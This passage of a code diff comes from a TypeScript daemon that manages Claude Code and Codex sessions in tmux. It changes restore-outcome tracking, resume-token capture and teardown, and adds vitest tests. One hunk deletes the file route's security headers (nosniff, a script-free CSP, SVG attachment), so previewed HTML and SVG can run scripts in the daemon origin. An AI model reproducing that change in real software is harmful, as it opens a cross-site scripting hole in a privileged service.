|
||||
// fold. Evidence is never borrowed
|
||||
// from an older reconciliation when a newer acknowledgment wins.
|
||||
function buildRestoreOutcomeMap(db: Database.Database, rigId?: string): Map<string, RestoreProjection> {
|
||||
const filter = rigId ? " AND rig_id = ?" : "";
|
||||
const startsFilter = rigId ? " AND +rig_id = ?" : "";
|
||||
const rows = db.prepare(`
|
||||
SELECT type, payload, seq, rig_id, node_id FROM events
|
||||
WHERE type IN ('restore.completed', 'restore.subset_completed', 'restore.outcome_reconciled')${filter}
|
||||
UNION ALL
|
||||
SELECT type, payload, seq, rig_id, node_id FROM events
|
||||
WHERE node_id IS NULL AND type = 'restore.started'${startsFilter}
|
||||
ORDER BY seq ASC
|
||||
`).all(...(rigId ? [rigId, rigId] : [])) as {
|
||||
type: string; payload: string; seq: number; rig_id: string; node_id: string | null;
|
||||
}[];
|
||||
const map = new Map<string, RestoreProjection>();
|
||||
const attempts = new Map<string, {
|
||||
seq: number;
|
||||
start?: Record<string, any>;
|
||||
completed: boolean;
|
||||
outcomes: Map<string, string>;
|
||||
}>();
|
||||
for (const row of rows) {
|
||||
try {
|
||||
if (row.type === "restore.outcome_reconciled") {
|
||||
const event = JSON.parse(row.payload) as { nodeId: string; to: string };
|
||||
if (!map.has(event.nodeId)) map.set(event.nodeId, mapStatus(event.to));
|
||||
continue;
|
||||
}
|
||||
const event = JSON.parse(row.payload) as { result: RestoreResult };
|
||||
for (const nodeResult of event.result.nodes) {
|
||||
if (!map.has(nodeResult.nodeId)) map.set(nodeResult.nodeId, mapStatus(nodeResult.status));
|
||||
}
|
||||
} catch {
|
||||
let event: Record<string, any> | undefined;
|
||||
try { event = eventObject(JSON.parse(row.payload)); } catch { /* Unknown evidence. */ }
|
||||
if (row.type === "restore.started") {
|
||||
// Even an unreadable new attempt prevents reuse of an earlier receipt.
|
||||
attempts.set(row.rig_id, { seq: row.seq, start: event, completed: false, outcomes: new Map() });
|
||||
continue;
|
||||
}
|
||||
const attempt = attempts.get(row.rig_id);
|
||||
if (row.type === "restore.completed" && attempt && !attempt.completed) {
|
||||
// Match the first completion within this attempt, as the receipt reader
|
||||
// does. Missing/corrupt receipts cannot become continuity proof.
|
||||
attempt.completed = true;
|
||||
const start = attempt.start;
|
||||
const result = eventObject(event?.result);
|
||||
const roster = start?.intendedRoster ?? result?.intendedRoster ?? result?.nodes;
|
||||
if (start?.rigId === row.rig_id && event?.rigId === row.rig_id
|
||||
&& typeof start?.snapshotId === "string"
|
||||
&& event?.snapshotId === start.snapshotId && result?.snapshotId === start.snapshotId
|
||||
&& Array.isArray(result?.nodes) && Array.isArray(roster)) {
|
||||
const intended = new Set(roster.map((node: any) => node?.nodeId));
|
||||
for (const node of result.nodes) {
|
||||
if (typeof node?.nodeId === "string" && intended.has(node.nodeId)) {
|
||||
attempt.outcomes.set(node.nodeId, node.status);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if (!event) continue;
|
||||
if (row.type === "restore.outcome_reconciled") {
|
||||
if (typeof event.nodeId !== "string") continue;
|
||||
const evidence = eventObject(event.evidence);
|
||||
const strict = event.rigId === row.rig_id && event.nodeId === row.node_id
|
||||
&& event.to === "operator_recovered" && (event.from === "failed" || event.from === "attention_required")
|
||||
&& !!attempt && attempt.seq === event.attemptId && attempt.outcomes.get(event.nodeId) === event.from
|
||||
&& evidence?.tmux === true && evidence.resumeTokenUsed === true && evidence.paneState === "usable"
|
||||
&& (evidence.fgProcess === "claude" || evidence.fgProcess === "codex");
|
||||
map.set(restoreKey(row.rig_id, event.nodeId), {
|
||||
outcome: mapStatus(event.to),
|
||||
...(strict ? { resumedRuntime: evidence!.fgProcess === "claude" ? "claude-code" : "codex" } : {}),
|
||||
});
|
||||
continue;
|
||||
}
|
||||
if (!Array.isArray(event.result?.nodes)) continue;
|
||||
for (const node of [...event.result.nodes].reverse()) {
|
||||
if (typeof node?.nodeId === "string") {
|
||||
map.set(restoreKey(row.rig_id, node.nodeId), { outcome: mapStatus(node.status) });
|
||||
}
|
||||
}
|
||||
}
|
||||
return map;
|
||||
}
|
||||
@@ -536,7 +590,7 @@ interface InventoryBuildContext {
|
||||
// FS-1 W1.3 S1/S2 — the once-per-rig-batched per-node reads, keyed by node_id.
|
||||
// Built ONCE per projection (rig-scoped for single-rig, all-rigs for the
|
||||
// batched path) and looked up O(1) here instead of a query per node.
|
||||
restoreOutcomes: Map<string, NodeRestoreOutcome>;
|
||||
restoreOutcomes: Map<string, RestoreProjection>;
|
||||
orienteds: Map<string, NodeOriented>;
|
||||
}
|
||||
|
||||
@@ -549,7 +603,8 @@ function buildInventoryEntry(
|
||||
// FS-1 W1.3 S1 — O(1) lookup into the once-per-rig restore-outcome map
|
||||
// (byte-identical to the prior per-node deriveRestoreOutcome; "n-a" when a node
|
||||
// is referenced by no restore event, matching the prior fall-through).
|
||||
const restoreOutcome = restoreOutcomes.get(row.node_id) ?? "n-a";
|
||||
const restore = restoreOutcomes.get(restoreKey(row.rig_id, row.node_id));
|
||||
const restoreOutcome = restore?.outcome ?? "n-a";
|
||||
// OPR.0.4.3.19 rev1-r2 B1 — a durable verdict is keyed only by node_id, so
|
||||
// after a rebind/relaunch (same node, NEW session + NEW pane) a stale
|
||||
// `verified` verdict for the OLD pane would otherwise be served for the new
|
||||
@@ -594,7 +649,7 @@ function buildInventoryEntry(
|
||||
oriented: orienteds.get(row.node_id) ?? "n-a",
|
||||
lifecycleState,
|
||||
occupantLifecycle: deriveOccupantLifecycle(row, identityVerdict?.verdict ?? null),
|
||||
continuityOutcome: deriveContinuityOutcome(row, restoreOutcome),
|
||||
continuityOutcome: deriveContinuityOutcome(row, restore),
|
||||
handoverResult: row.handover_result as NodeInventoryEntry["handoverResult"] ?? null,
|
||||
previousOccupant: row.previous_occupant,
|
||||
handoverAt: row.handover_at,
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
import os from "node:os";
|
||||
import fs from "node:fs";
|
||||
import nodePath from "node:path";
|
||||
import { execFile } from "node:child_process";
|
||||
import { promisify } from "node:util";
|
||||
@@ -17,6 +18,8 @@ import {
|
||||
} from "./native-resume-probe.js";
|
||||
import { runAsyncSite } from "./sync-site-wrap.js";
|
||||
import { isClaudeSidecarFromEarlierProcess, type ResumeTokenCaptureDeps } from "./resume-token-capture.js";
|
||||
import { observeClaudePaneRuntime, type NativeProcessLister } from "./native-process-lineage.js";
|
||||
import { validateResumeToken } from "./resume-token-validation.js";
|
||||
|
||||
const execFileAsync = promisify(execFile);
|
||||
|
||||
@@ -48,6 +51,9 @@ interface ResumeMetadataRefresherDeps {
|
||||
};
|
||||
/** #421 — start time of the pane's current Claude process; a sidecar sampled earlier is not used. */
|
||||
claudeProcessStartedAt?: ResumeTokenCaptureDeps["claudeProcessStartedAt"];
|
||||
/** Provider root used by the daemon's Claude launches; no scan of other homes. */
|
||||
claudeConfigDir?: string;
|
||||
listClaudeProcesses?: NativeProcessLister;
|
||||
}
|
||||
|
||||
export class ResumeMetadataRefresher {
|
||||
@@ -61,6 +67,8 @@ export class ResumeMetadataRefresher {
|
||||
private homeDir: string;
|
||||
private contextUsageStore: ResumeMetadataRefresherDeps["contextUsageStore"] | null;
|
||||
private claudeProcessStartedAt: ResumeMetadataRefresherDeps["claudeProcessStartedAt"] | null;
|
||||
private claudeConfigDir: string;
|
||||
private listClaudeProcesses: NativeProcessLister | undefined;
|
||||
|
||||
constructor(deps: ResumeMetadataRefresherDeps) {
|
||||
this.sessionRegistry = deps.sessionRegistry;
|
||||
@@ -85,6 +93,8 @@ export class ResumeMetadataRefresher {
|
||||
this.homeDir = deps.homeDir ?? os.homedir();
|
||||
this.contextUsageStore = deps.contextUsageStore ?? null;
|
||||
this.claudeProcessStartedAt = deps.claudeProcessStartedAt ?? null;
|
||||
this.claudeConfigDir = deps.claudeConfigDir ?? process.env.CLAUDE_CONFIG_DIR ?? nodePath.join(this.homeDir, ".claude");
|
||||
this.listClaudeProcesses = deps.listClaudeProcesses;
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -106,10 +116,10 @@ export class ResumeMetadataRefresher {
|
||||
* is unacceptable recurring blast radius (rev1-r1). Resumability VERIFICATION
|
||||
* is FR-6's on-demand job, not a recurring-snapshot op.
|
||||
*
|
||||
* Default (`fillNullOnly` falsy) preserves the legacy validate-and-probe-and-clear
|
||||
* behavior for the non-snapshot / teardown auto-pre-down path (a one-time
|
||||
* at-shutdown check — unchanged here; FR-6 §2.1b owns unifying the clear semantics
|
||||
* across all callers).
|
||||
* At shutdown (`fillNullOnly` falsy), first read Claude's live PID-keyed session
|
||||
* file: /clear changes its sessionId without changing the launch argv, and the
|
||||
* old conversation can still be resumable. If unavailable, retain the existing
|
||||
* probe behavior. Never clear a token or add a shutdown refusal.
|
||||
*/
|
||||
async refresh(
|
||||
sessions: ResumeRefreshSession[],
|
||||
@@ -154,6 +164,16 @@ export class ResumeMetadataRefresher {
|
||||
}
|
||||
|
||||
if (session.runtime === "claude-code") {
|
||||
if (!fillNullOnly) {
|
||||
const current = await this.captureClaudeSessionId(session);
|
||||
if (current && this.sessionRegistry.resumeTokenMatches(session.sessionId, "claude_id", current)) {
|
||||
this.sessionRegistry.markResumeProbeResult(session.sessionId, "resumable");
|
||||
continue;
|
||||
}
|
||||
if (current && this.sessionRegistry.updateResumeToken(session.sessionId, "claude_id", current, "scrape")) {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
if (!session.resumeToken) {
|
||||
// OPR.0.4.3.20 FR-4 — null-fill from the Claude status-line sidecar
|
||||
// (best-effort; missing/parse-error/empty leaves null, never throws).
|
||||
@@ -175,7 +195,7 @@ export class ResumeMetadataRefresher {
|
||||
// probe on the recurring snapshot path (rev1-r1), and never clear a present
|
||||
// token (rev1-r2). A present-but-not-resumable token stays in the ledger for
|
||||
// FR-6 to surface as `stale/unverified — re-verify`. Only the legacy/teardown
|
||||
// default path probes + clears (a one-time at-shutdown check).
|
||||
// default path probes and records freshness without clearing the token.
|
||||
if (fillNullOnly) {
|
||||
// OPR.0.4.3.20 FR-6.1 — equal-value freshness RE-STAMP on the periodic path
|
||||
// (NO probe; never spawns `claude --resume`). Re-derive via the pure-read
|
||||
@@ -204,6 +224,34 @@ export class ResumeMetadataRefresher {
|
||||
}
|
||||
}
|
||||
|
||||
/** Shutdown-only read, bounded to the stable foreground Claude process's own
|
||||
* file. A same-name file or launch argument cannot identify the post-/clear
|
||||
* conversation. Missing/ambiguous observations retain the legacy fallback. */
|
||||
private async captureClaudeSessionId(session: ResumeRefreshSession): Promise<string | undefined> {
|
||||
try {
|
||||
const input = { target: session.sessionName, tmux: this.tmuxAdapter, listProcesses: this.listClaudeProcesses };
|
||||
const first = await observeClaudePaneRuntime(input);
|
||||
if (!first) return undefined;
|
||||
const started = Date.parse(first.process.startedAt ?? "");
|
||||
if (!Number.isFinite(started)) return undefined;
|
||||
const configDir = nodePath.resolve(session.cwd ?? process.cwd(), this.claudeConfigDir);
|
||||
const file = nodePath.join(configDir, "sessions", `${first.process.pid}.json`);
|
||||
const fd = fs.openSync(file, "r");
|
||||
let record: { name?: unknown; sessionId?: unknown };
|
||||
try {
|
||||
const stat = fs.fstatSync(fd);
|
||||
// A leftover file for a reused PID is not current-process evidence.
|
||||
if (!stat.isFile() || stat.size > 64 * 1024 || stat.mtimeMs < started) return undefined;
|
||||
record = JSON.parse(fs.readFileSync(fd, "utf8"));
|
||||
} finally { fs.closeSync(fd); }
|
||||
if (record?.name !== session.sessionName) return undefined;
|
||||
const valid = validateResumeToken("claude-code", record.sessionId);
|
||||
if (!valid.ok) return undefined;
|
||||
const final = await observeClaudePaneRuntime(input);
|
||||
return final?.fingerprint === first.fingerprint ? valid.token : undefined;
|
||||
} catch { return undefined; }
|
||||
}
|
||||
|
||||
/** Best-effort derive a Codex thread id from live pane state (getPanePid →
|
||||
* codex descendant pids → pid-keyed logs sqlite). Async, returns undefined
|
||||
* on timeout/absence. Public for reuse by adoption-boundary capture
|
||||
|
||||
@@ -118,7 +118,13 @@ export class RigTeardownOrchestrator {
|
||||
// 4. Auto-snapshot before teardown (always, best-effort)
|
||||
try {
|
||||
if (this.deps.resumeMetadataRefresher) {
|
||||
await this.deps.resumeMetadataRefresher.refresh(liveSessions);
|
||||
// A live namesake cannot supply resume metadata for an archived row.
|
||||
// Keep that row's own token in the snapshot, just as the kill below
|
||||
// leaves the other owner's session alone.
|
||||
const refreshableSessions = archived.archived_at === null ? liveSessions : liveSessions.filter(
|
||||
session => findOtherSessionOwner(this.db, session.sessionName, session.nodeId, { ignoreArchived: true }) === null,
|
||||
);
|
||||
await this.deps.resumeMetadataRefresher.refresh(refreshableSessions);
|
||||
}
|
||||
const snap = this.deps.snapshotCapture.captureSnapshot(rigId, "auto-pre-down");
|
||||
result.snapshotId = snap.id;
|
||||
|
||||
@@ -150,17 +150,12 @@ export function filesRoutes(): Hono {
|
||||
let contentType = inferContentType(resolved);
|
||||
// OPR.0.4.4.20 FR-11: .html renders as text/html ONLY under the explicit
|
||||
// ?render=1 opt-in (text/plain stays the default for every other read).
|
||||
// First-party operator mockups open in a new tab. Rendered HTML is served
|
||||
// with a script-free CSP (assetSecurityHeaders), under the web UI's
|
||||
// fail-closed rule.
|
||||
// Explicit HTML previews and direct SVG previews may run scripts in the
|
||||
// daemon origin; ordinary HTML reads stay text/plain.
|
||||
if (c.req.query("render") === "1" && path.extname(resolved).toLowerCase() === ".html") {
|
||||
contentType = "text/html; charset=utf-8";
|
||||
}
|
||||
|
||||
// Response headers for active content types (text/html, image/svg+xml):
|
||||
// nosniff, a script-free CSP for rendered HTML, and attachment for SVG.
|
||||
const secHeaders = assetSecurityHeaders(contentType, resolved);
|
||||
|
||||
// OPR.0.4.4.20 FR-5: byte-range support on THIS route only (iOS Safari
|
||||
// requires 206 + Accept-Ranges for media playback; 200-with-whole-file
|
||||
// is the documented iOS failure mode). Single-range form only.
|
||||
@@ -189,7 +184,6 @@ export function filesRoutes(): Hono {
|
||||
"Content-Length": String(length),
|
||||
"Accept-Ranges": "bytes",
|
||||
"Cache-Control": "public, max-age=300",
|
||||
...secHeaders,
|
||||
},
|
||||
});
|
||||
} finally {
|
||||
@@ -204,7 +198,6 @@ export function filesRoutes(): Hono {
|
||||
"Content-Type": contentType,
|
||||
"Accept-Ranges": "bytes",
|
||||
"Cache-Control": "public, max-age=300",
|
||||
...secHeaders,
|
||||
},
|
||||
});
|
||||
} catch (err) {
|
||||
@@ -308,39 +301,3 @@ function inferContentType(absPath: string): string {
|
||||
|
||||
// Re-export for the route-order discipline test in workflow-routes.
|
||||
export { resolveAllowedPath };
|
||||
|
||||
/**
|
||||
* Response headers for the /api/files/asset endpoint, which the web UI uses to open files.
|
||||
*
|
||||
* - All responses: X-Content-Type-Options: nosniff, so the browser never
|
||||
* sniffs a text/plain response into another type.
|
||||
* - text/html (render=1): a script-free CSP (no inline, external or eval
|
||||
* scripts). Same-origin images and inline styles are allowed so operator
|
||||
* mockups still render.
|
||||
* - image/svg+xml: Content-Disposition: attachment, so opening the file
|
||||
* directly downloads it; <img src="...svg"> embedding is unaffected.
|
||||
*/
|
||||
export function assetSecurityHeaders(contentType: string, resolvedPath: string): Record<string, string> {
|
||||
const headers: Record<string, string> = {
|
||||
"X-Content-Type-Options": "nosniff",
|
||||
};
|
||||
|
||||
if (contentType.startsWith("text/html")) {
|
||||
// Strict CSP for rendered HTML: block all scripts (inline, external, eval),
|
||||
// allow only same-origin images and inline styles for layout fidelity.
|
||||
headers["Content-Security-Policy"] =
|
||||
"default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; font-src 'self'; frame-ancestors 'none'";
|
||||
headers["X-Frame-Options"] = "DENY";
|
||||
} else if (contentType === "image/svg+xml") {
|
||||
// An SVG opened directly runs any scripts it contains; as an attachment a
|
||||
// direct open downloads it instead, while <img src="...svg"> embedding still
|
||||
// works (browsers ignore Content-Disposition for <img> subrequests).
|
||||
// Use RFC 5987 UTF-8 encoding so filenames with unicode (CJK, emoji, etc.)
|
||||
// are transmitted safely instead of producing a malformed header.
|
||||
const basename = path.basename(resolvedPath);
|
||||
const encoded = encodeURIComponent(basename);
|
||||
headers["Content-Disposition"] = `attachment; filename*=UTF-8''${encoded}`;
|
||||
}
|
||||
|
||||
return headers;
|
||||
}
|
||||
@@ -0,0 +1,176 @@
|
||||
// Actual route/reconciler/SQLite/inventory with synthetic activity/transport ports.
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest';
|
||||
import { Hono } from 'hono';
|
||||
import { createFullTestDb } from './helpers/test-app.js';
|
||||
import { RigRepository } from '../src/domain/rig-repository.js';
|
||||
import { SessionRegistry } from '../src/domain/session-registry.js';
|
||||
import { EventBus } from '../src/domain/event-bus.js';
|
||||
import { AgentActivityStore } from '../src/domain/agent-activity-store.js';
|
||||
import { SeatAttentionReconciler } from '../src/domain/seat-attention-reconciler.js';
|
||||
import { SeatIdentityStore } from '../src/domain/seat-identity-store.js';
|
||||
import { getNodeInventory, getNodeInventoryForRigs } from '../src/domain/node-inventory.js';
|
||||
import { sessionAdminRoutes } from '../src/routes/sessions.js';
|
||||
import { SeatStatusService } from '../src/domain/seat-status-service.js';
|
||||
const databases: ReturnType<typeof createFullTestDb>[] = [];
|
||||
afterEach(() => { for (const db of databases.splice(0)) db.close(); });
|
||||
function fixture(kind: 'subset' | 'full' | 'startup' | 'identity', explicit: string | null = null) {
|
||||
const db = createFullTestDb(); databases.push(db);
|
||||
const repo = new RigRepository(db), registry = new SessionRegistry(db), bus = new EventBus(db);
|
||||
const rig = repo.createRig('attention-specimen');
|
||||
const node = repo.addNode(rig.id, 'worker', {role:'worker',runtime:'claude-code'});
|
||||
const name = 'worker@attention-specimen';
|
||||
const session = registry.registerSession(node.id, name);
|
||||
registry.updateStatus(session.id,'running');
|
||||
registry.updateStartupStatus(session.id,kind === 'startup' ? 'attention_required' : 'ready');
|
||||
registry.updateBinding(node.id,{tmuxSession:name,tmuxPane:'%991'});
|
||||
db.prepare('UPDATE nodes SET continuity_outcome = ? WHERE id = ?').run(explicit,node.id);
|
||||
if (kind === 'subset' || kind === 'full') {
|
||||
if (kind === 'full') bus.emit({type:'restore.started',rigId:rig.id,snapshotId:'synthetic-snapshot'});
|
||||
bus.emit({type:kind === 'full' ? 'restore.completed':'restore.subset_completed',rigId:rig.id,snapshotId:'synthetic-snapshot',result:{snapshotId:'synthetic-snapshot',preRestoreSnapshotId:null,rigResult:'partially_restored',nodes:[{nodeId:node.id,logicalId:'worker',status:'attention_required'}],warnings:[]}} as never);
|
||||
}
|
||||
const identities = new SeatIdentityStore(db);
|
||||
if (kind === 'identity') identities.upsert({nodeId:node.id,verdict:'mismatch',evidenceSource:'pane_process',reason:'process_identity_mismatch',evidence:{registeredPane:'%991',observedPid:991,observedCommand:'bash',matchedLayer:null},sessionName:name,observedAt:new Date().toISOString()});
|
||||
const sendVerify=vi.fn(async (): Promise<{ok:boolean; verified?:boolean}> => ({ok:false}));
|
||||
const clear = new SeatAttentionReconciler({db,sessionRegistry:registry,eventBus:bus,agentActivityStore:new AgentActivityStore({db,eventBus:bus}),sendVerify});
|
||||
const app = new Hono();
|
||||
app.use('*',async(c,next)=>{c.set('seatAttentionReconciler' as never,clear as never);c.set('terminalBearerToken' as never,null as never);await next();});
|
||||
app.route('/api/sessions',sessionAdminRoutes);
|
||||
const inventory=()=>{
|
||||
const i=getNodeInventory(db,rig.id)[0]!;
|
||||
return {startupStatus:i.startupStatus,sessionStatus:i.sessionStatus,restoreOutcome:i.restoreOutcome,continuityOutcome:i.continuityOutcome,lifecycleState:i.lifecycleState,occupantLifecycle:i.occupantLifecycle};
|
||||
};
|
||||
const post=async(reason?:string)=>{
|
||||
const r=await app.request(`/api/sessions/${encodeURIComponent(name)}/clear-attention`,{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(reason?{reason}:{})});
|
||||
return {status:r.status,body:await r.json() as any};
|
||||
};
|
||||
const events=()=>db.prepare("SELECT type,payload FROM events WHERE type IN ('seat.attention_cleared','restore.outcome_reconciled') ORDER BY seq").all().map((r:any)=>({type:r.type,payload:JSON.parse(r.payload)}));
|
||||
return {db,node,identities,name,inventory,post,events,sendVerify,repo,registry,bus,rig};
|
||||
}
|
||||
describe('bounded truthful-attention specimen projection',()=>{
|
||||
it.each([null,'failed','fresh'])('subset acknowledgment with explicit continuity %s',async explicit=>{
|
||||
const f=fixture('subset',explicit);
|
||||
const result=await f.post('operator reports this seat is working');
|
||||
const after=f.inventory(),events=f.events();
|
||||
expect(result.status).toBe(200);
|
||||
expect(result.body.clearedBy).toBe('operator_attestation');
|
||||
expect(result.body.derivedEvidence).toMatchObject({source:'operator_attestation',runtimeCwdVerified:false});
|
||||
expect(after.restoreOutcome).toBe('operator_recovered');
|
||||
expect(after.continuityOutcome).toBe(explicit);
|
||||
expect(after.lifecycleState).toBe('running');
|
||||
expect(events).toHaveLength(1);
|
||||
expect(f.sendVerify).not.toHaveBeenCalled();
|
||||
// A later real identity observation still down-ranks a previously acknowledged seat.
|
||||
f.identities.upsert({nodeId:f.node.id,verdict:'mismatch',evidenceSource:'pane_process',reason:'process_identity_mismatch',evidence:{registeredPane:'%991',observedPid:991,observedCommand:'bash',matchedLayer:null},sessionName:f.name,observedAt:new Date().toISOString()});
|
||||
expect(f.inventory().lifecycleState).toBe('attention_required');
|
||||
});
|
||||
it('a verified send clears subset attention without claiming continuity', async () => {
|
||||
const f = fixture('subset');
|
||||
f.sendVerify.mockResolvedValue({ok:true, verified:true});
|
||||
expect((await f.post()).status).toBe(200);
|
||||
expect(f.inventory()).toMatchObject({restoreOutcome:'operator_recovered',continuityOutcome:null,lifecycleState:'running'});
|
||||
expect(f.events()[0].payload.evidence).toMatchObject({source:'clear_attention_evidence',runtimeCwdVerified:false});
|
||||
});
|
||||
it.each(['full','identity'] as const)('%s class is not bypassed by reason',async kind=>{
|
||||
const f=fixture(kind),before=f.inventory(),result=await f.post('operator reports this seat is working');
|
||||
expect(result.status).toBe(422);
|
||||
expect(result.body.code).toBe('not_demonstrably_responsive');
|
||||
expect(result.body.detail).toContain(kind==='full'?'restore_outcome':'pane_identity');
|
||||
expect(f.events()).toEqual([]);
|
||||
expect(f.sendVerify).not.toHaveBeenCalled();
|
||||
expect(f.inventory()).toEqual(before);
|
||||
});
|
||||
it.each(['startup','subset'] as const)('%s missing-evidence response identifies its class',async kind=>{
|
||||
const f=fixture(kind),result=await f.post();
|
||||
expect(result.status).toBe(422);
|
||||
expect(result.body.code).toBe('not_demonstrably_responsive');
|
||||
expect(f.events()).toEqual([]);
|
||||
});
|
||||
});
|
||||
|
||||
describe('restore proof binding in the inventory batch', () => {
|
||||
const proof = {tmux:true, fgProcess:'claude', resumeTokenUsed:true, paneState:'usable'};
|
||||
function receipt(f: ReturnType<typeof fixture>, rigId = f.rig.id, nodeId = f.node.id) {
|
||||
const start = f.bus.emit({type:'restore.started',rigId,snapshotId:'s1',intendedRoster:[{nodeId,logicalId:'worker'}]});
|
||||
f.bus.emit({type:'restore.completed',rigId,snapshotId:'s1',result:{snapshotId:'s1',preRestoreSnapshotId:null,rigResult:'partially_restored',nodes:[{nodeId,logicalId:'worker',status:'attention_required'}],warnings:[]}});
|
||||
return start.seq;
|
||||
}
|
||||
function reconcile(f: ReturnType<typeof fixture>, attemptId: number, overrides: Record<string, unknown> = {}) {
|
||||
f.bus.emit({type:'restore.outcome_reconciled',rigId:f.rig.id,nodeId:f.node.id,attemptId,from:'attention_required',to:'operator_recovered',evidence:proof,...overrides} as never);
|
||||
}
|
||||
function both(f: ReturnType<typeof fixture>) {
|
||||
const local = getNodeInventory(f.db, f.rig.id)[0]!;
|
||||
const fleet = getNodeInventoryForRigs(f.db,new Set([f.rig.id])).get(f.rig.id)![0]!;
|
||||
expect(fleet).toEqual(local);
|
||||
return local;
|
||||
}
|
||||
it('retains strict resumed proof and passes it unchanged through seat status', () => {
|
||||
const f=fixture('startup');
|
||||
f.db.prepare("UPDATE sessions SET startup_status='ready'").run();
|
||||
reconcile(f,receipt(f));
|
||||
expect(both(f)).toMatchObject({restoreOutcome:'operator_recovered',continuityOutcome:'resumed',lifecycleState:'running'});
|
||||
const status=new SeatStatusService({rigRepo:f.repo}).getStatus(f.name);
|
||||
expect(status).toMatchObject({ok:true,status:{continuity_outcome:'resumed',restore_outcome:'operator_recovered'}});
|
||||
});
|
||||
it.each([
|
||||
undefined, null, [], 'strict', {source:'strict'}, {runtimeCwdVerified:true},
|
||||
{...proof,tmux:false}, {...proof,resumeTokenUsed:false}, {...proof,paneState:'unknown'},
|
||||
{...proof,fgProcess:'bash'}, {...proof,tmux:'true'}, {...proof,fgProcess:'codex'},
|
||||
].map(evidence => [evidence]))('does not infer continuity from absent, malformed or incomplete evidence: %j', evidence => {
|
||||
const f=fixture('subset');
|
||||
reconcile(f,receipt(f),{evidence});
|
||||
expect(both(f)).toMatchObject({restoreOutcome:'operator_recovered',continuityOutcome:null,lifecycleState:'running'});
|
||||
});
|
||||
it.each(['zero','missing','wrong-rig','wrong-node','superseded','wrong-from','missing-completion','wrong-snapshot','wrong-column'] as const)(
|
||||
'does not infer continuity from an unbound receipt: %s', kind => {
|
||||
const f=fixture('subset');
|
||||
const id=receipt(f,kind==='wrong-rig'?'other-rig':f.rig.id,kind==='wrong-node'?'other-node':f.node.id);
|
||||
if (kind==='superseded') f.bus.emit({type:'restore.started',rigId:f.rig.id,snapshotId:'s2'});
|
||||
if (kind==='missing-completion') f.db.prepare("DELETE FROM events WHERE type='restore.completed'").run();
|
||||
if (kind==='wrong-snapshot') f.db.prepare("UPDATE events SET payload=json_set(payload,'$.snapshotId','other') WHERE type='restore.completed'").run();
|
||||
reconcile(f,kind==='zero'?0:kind==='missing'?999999:id,kind==='wrong-from'?{from:'failed'}:{});
|
||||
if (kind==='wrong-column') f.db.prepare("UPDATE events SET node_id='other-node' WHERE type='restore.outcome_reconciled'").run();
|
||||
expect(both(f)).toMatchObject({restoreOutcome:'operator_recovered',continuityOutcome:null,lifecycleState:'running'});
|
||||
},
|
||||
);
|
||||
it('does not let another rig overwrite this node or donate proof in the fleet batch', () => {
|
||||
const f=fixture('subset');
|
||||
reconcile(f,receipt(f));
|
||||
f.bus.emit({type:'restore.outcome_reconciled',rigId:'other-rig',nodeId:f.node.id,attemptId:0,from:'failed',to:'operator_recovered',evidence:{source:'operator_attestation'}});
|
||||
expect(both(f).continuityOutcome).toBe('resumed');
|
||||
});
|
||||
it('never borrows an older strict proof when a newer acknowledgment wins', () => {
|
||||
const f=fixture('subset'), id=receipt(f);
|
||||
reconcile(f,id);
|
||||
reconcile(f,0,{evidence:{source:'operator_attestation',runtimeCwdVerified:false}});
|
||||
expect(both(f).continuityOutcome).toBeNull();
|
||||
expect(new SeatStatusService({rigRepo:f.repo}).getStatus(f.name)).toMatchObject({ok:true,status:{session_status:'running',continuity_outcome:null}});
|
||||
});
|
||||
it('keeps newer failures and newer reconciliations ordered per node', () => {
|
||||
const f=fixture('subset');
|
||||
reconcile(f,receipt(f));
|
||||
f.bus.emit({type:'restore.subset_completed',rigId:f.rig.id,snapshotId:'s2',result:{snapshotId:'s2',preRestoreSnapshotId:null,rigResult:'failed',nodes:[{nodeId:f.node.id,logicalId:'worker',status:'failed'}],warnings:[]}});
|
||||
expect(both(f)).toMatchObject({restoreOutcome:'failed',continuityOutcome:'failed',lifecycleState:'attention_required'});
|
||||
reconcile(f,0,{from:'failed',evidence:{source:'clear_attention_evidence',kind:'fresh_activity',state:'idle'}});
|
||||
expect(both(f)).toMatchObject({restoreOutcome:'operator_recovered',continuityOutcome:null,lifecycleState:'running'});
|
||||
});
|
||||
it('does not use a corrupt receipt or later completion to fill an earlier attempt', () => {
|
||||
const f=fixture('subset'), id=receipt(f);
|
||||
f.db.prepare("UPDATE events SET payload='{' WHERE type='restore.completed'").run();
|
||||
reconcile(f,id);
|
||||
expect(both(f).continuityOutcome).toBeNull();
|
||||
f.bus.emit({type:'restore.started',rigId:f.rig.id,snapshotId:'s2'});
|
||||
f.bus.emit({type:'restore.completed',rigId:f.rig.id,snapshotId:'s2',result:{snapshotId:'s2',preRestoreSnapshotId:null,rigResult:'failed',nodes:[{nodeId:f.node.id,logicalId:'worker',status:'failed'}],warnings:[]}});
|
||||
reconcile(f,id);
|
||||
expect(both(f).continuityOutcome).toBeNull();
|
||||
});
|
||||
it('preserves explicit historical outcomes and applicable identity downranking', () => {
|
||||
const f=fixture('subset');
|
||||
reconcile(f,receipt(f));
|
||||
for (const explicit of ['failed','fresh','resumed','rebuilt','forked']) {
|
||||
f.db.prepare('UPDATE nodes SET continuity_outcome=? WHERE id=?').run(explicit,f.node.id);
|
||||
expect(both(f).continuityOutcome).toBe(explicit);
|
||||
}
|
||||
f.identities.upsert({nodeId:f.node.id,verdict:'mismatch',evidenceSource:'pane_process',reason:'process_identity_mismatch',evidence:{registeredPane:'%991',observedPid:991,observedCommand:'bash',matchedLayer:null},sessionName:f.name,observedAt:new Date().toISOString()});
|
||||
expect(both(f).lifecycleState).toBe('attention_required');
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,171 @@
|
||||
import fs from "node:fs";
|
||||
import os from "node:os";
|
||||
import path from "node:path";
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import { createDb } from "../src/db/connection.js";
|
||||
import { migrate } from "../src/db/migrate.js";
|
||||
import { ALL_MIGRATIONS } from "../src/db/all-migrations.js";
|
||||
import { RigRepository } from "../src/domain/rig-repository.js";
|
||||
import { SessionRegistry } from "../src/domain/session-registry.js";
|
||||
import { EventBus } from "../src/domain/event-bus.js";
|
||||
import { SnapshotRepository } from "../src/domain/snapshot-repository.js";
